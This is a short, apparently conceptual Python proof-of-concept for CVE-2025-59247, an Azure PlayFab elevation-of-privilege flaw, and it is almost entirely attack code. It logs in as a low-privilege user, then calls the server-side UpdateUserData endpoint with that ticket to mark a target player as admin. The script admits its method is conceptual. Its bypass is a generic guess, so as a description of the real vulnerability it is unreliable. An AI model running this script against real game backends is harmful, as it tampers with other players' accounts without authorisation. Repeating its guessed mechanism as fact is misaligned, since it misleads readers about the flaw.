CVE-2025-59247

# CVE-2025-59247 - Azure PlayFab Elevation of Privilege PoC # Note: This is a conceptual proof-of-concept for understanding the vulnerability # Microsoft has released patches; this PoC is for educational/research purposes only import requests import json # Configuration PLAYFAB_API_URL = "https://<title>.playfabapi.com" LOW_PRIV_SESSION_TICKET = "<low_privilege_user_session_ticket>" TARGET_PLAYER_ID = "<target_player_id>" # Step 1: Authenticate as a low-privilege user def authenticate_low_privilege(): """Obtain a session ticket with low-privilege credentials""" headers = { "Content-Type": "application/json", "X-PlayFabSDK": "PlayFabCSdk/1.0" } payload = { "TitleId": "<your_title_id>", "CustomId": "attacker_low_priv_user", "CreateAccount": False } response = requests.post( f"{PLAYFAB_API_URL}/Client/LoginWithCustomID", headers=headers, json=payload ) return response.json().get("data", {}).get("SessionTicket") # Step 2: Exploit the privilege escalation def exploit_privilege_escalation(session_ticket): """ Attempt to access admin-level API endpoints or modify other players' data using low-privilege session ticket. The vulnerability allows bypassing authorization checks. """ headers = { "Content-Type": "application/json", "X-Authorization": session_ticket } # Attempt to access privileged functionality payload = { "PlayFabId": TARGET_PLAYER_ID, "Data": { "admin_flag": "true", "privilege_level": "admin" } } response = requests.post( f"{PLAYFAB_API_URL}/Server/UpdateUserData", headers=headers, json=payload ) if response.status_code == 200: print("[+] Privilege escalation successful!") print(json.dumps(response.json(), indent=2)) else: print(f"[-] Exploit failed: {response.status_code}") print(response.text) if __name__ == "__main__": print("[*] CVE-2025-59247 PoC - Azure PlayFab EoP") ticket = authenticate_low_privilege() if ticket: exploit_privilege_escalation(ticket)

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